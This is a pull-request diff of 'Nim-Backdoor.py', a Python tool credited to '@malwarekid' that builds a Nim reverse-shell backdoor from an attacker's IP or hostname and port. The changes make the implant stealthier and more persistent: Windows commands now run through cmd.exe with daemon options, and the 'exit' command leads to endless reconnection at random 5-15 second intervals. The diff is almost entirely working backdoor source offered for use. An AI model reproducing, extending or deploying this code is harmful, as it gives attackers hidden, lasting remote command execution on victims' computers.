Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
67 changes: 41 additions & 26 deletions Nim-Backdoor.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,16 @@
import ipaddress
import re

def validate_ip(ip):
def validate_host(host):
try:
ipaddress.ip_address(ip)
ipaddress.ip_address(host)
return True
except ValueError:
return False
hostname_regex = re.compile(
r'^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*'
r'([A-Za-z0-9]|[A-Za-z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])$'
)
return bool(hostname_regex.match(host))

def validate_port(port):
return port.isdigit() and 1 <= int(port) <= 65535
Expand All @@ -33,9 +37,9 @@ def nim_compiler_exists():
By @malwarekid
''' + "\033[0m")

ip = input("\033[32mEnter IP address:\033[0m ")
if not validate_ip(ip):
print("\033[31mInvalid IP address.\033[0m")
host = input("\033[32mEnter IP or Hostname:\033[0m ")
if not validate_host(host):
print("\033[31mInvalid IP or Hostname.\033[0m")
exit(1)

port = input("\033[32mEnter your Port number:\033[0m ")
Expand All @@ -60,7 +64,7 @@ def nim_compiler_exists():
if os_type.lower() == 'linux':
exec_command = 'result = execProcess(c)'
elif os_type.lower() == 'windows':
exec_command = 'result = execProcess("cmd /c " & c)'
exec_command = 'result = execProcess("cmd.exe /c " & c, options = {poUsePath, poDaemon, poStdErrToStdOut, poEvalCommand})'
else:
print(f"\033[31mUnsupported OS:\033[0m {os_type}")
exit(1)
Expand All @@ -69,38 +73,49 @@ def nim_compiler_exists():
import net, os, osproc, strutils, random

proc exe(c: string): string =
{exec_command}
try:
{exec_command}
except:
result = "Error executing command"

let address = "{ip}"
let address = "{host}"
let port = Port({port})

let exitMsg = "\\nExiting Program..."

var sock: Socket
var userRequestedExit = false
# Seed the random number generator for the retry delay
randomize()

while not userRequestedExit:
sock = newSocket()
while true:
var sock = newSocket()
try:
sock.connect(address, port)


# Connection successful loop
while true:
sock.send(os.getCurrentDir() & "> ")
let cmd = sock.recvLine().strip()
if cmd == "exit":
sock.send(exitMsg & "\\n")
userRequestedExit = true
let cmd = sock.recvLine()

# If recvLine is empty, the server closed the connection
if cmd == "":
break

let strippedCmd = cmd.strip()

if strippedCmd == "exit":
sock.send("Exiting session...\\n")
break # Breaks inner loop to trigger a reconnect attempt later
else:
let result = exe(cmd)
let result = exe(strippedCmd)
sock.send(result & "\\n")

except OSError:
if not userRequestedExit:
let delay = rand(10000..60000)
sleep(delay)

except:
# If connection fails or is lost, do nothing and proceed to sleep/retry
discard
finally:
sock.close()

# Wait before trying to reconnect to avoid spamming the network
let delay = rand(5000..15000) # 5 to 15 seconds
sleep(delay)
'''

try:
Expand Down